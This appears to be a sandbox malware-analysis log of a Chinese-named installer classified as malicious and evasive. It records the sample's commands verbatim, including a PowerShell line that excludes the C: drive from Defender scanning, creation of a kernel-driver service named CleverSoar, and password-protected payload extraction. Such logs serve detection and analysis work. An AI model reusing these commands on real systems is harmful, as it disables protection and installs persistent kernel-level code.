Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.0.drStatic PE information: Number of sections : 11 > 10
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000000.1388426944.0000000000169000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileNameBhuQ1buY6k.exe vs #U5b89#U88c5#U52a9#U624b2.0.4.exe
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1391080375.000000007EE9A000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileNameBhuQ1buY6k.exe vs #U5b89#U88c5#U52a9#U624b2.0.4.exe
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1390211414.0000000002D1E000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileNameBhuQ1buY6k.exe vs #U5b89#U88c5#U52a9#U624b2.0.4.exe
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeBinary or memory string: OriginalFileNameBhuQ1buY6k.exe vs #U5b89#U88c5#U52a9#U624b2.0.4.exe
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: tProtect.dll.12.drBinary string: \Device\TfSysMon
Source: tProtect.dll.12.drBinary string: \Device\TfKbMonPWLCache
Source: classification engineClassification label: mal88.evad.winEXE@144/33@0/0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA762D0 OpenProcessToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,NtInitiatePowerAction,6_2_6CA762D0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00859313 _isatty,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,10_2_00859313
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00863D66 __EH_prolog,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,10_2_00863D66
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00859252 DeviceIoControl,GetModuleHandleW,GetProcAddress,GetDiskFreeSpaceW,10_2_00859252
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA757B0 CreateToolhelp32Snapshot,CloseHandle,Process32NextW,Process32FirstW,6_2_6CA757B0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile created: C:\Program Files (x86)\Windows NT\is-4KD5J.tmpJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:756:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2944:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7512:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8116:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3580:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5796:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2660:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3840:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3772:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2340:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4936:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3324:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7940:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5640:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5436:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1928:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8112:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8044:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1848:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6712:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4452:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5616:120:WilError_03
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeFile created: C:\Users\user\AppData\Local\Temp\is-41CGB.tmpJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeString found in binary or memory: /LOADINF="filename"
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeFile read: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe"
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeProcess created: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp "C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe"
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENT
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeProcess created: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp "C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$2044A,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENT
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9iald
Source: C:\Program Files (x86)\Windows NT\7zr.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y locale3.dat -pasfasdf79yf9layslofs
Source: C:\Program Files (x86)\Windows NT\7zr.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\cmd.exe cmd /c start sc start CleverSoar
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeProcess created: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp "C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENTJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeProcess created: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp "C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$2044A,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENTJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9ialdJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: C:\Program Files (x86)\Windows NT\7zr.exe 7zr.exe x -y locale3.dat -pasfasdf79yf9layslofsJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= autoJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoarJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc start CleverSoar
Source: C:\Windows\System32\cmd.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpSection loaded: wintypes.dllJump to behavior
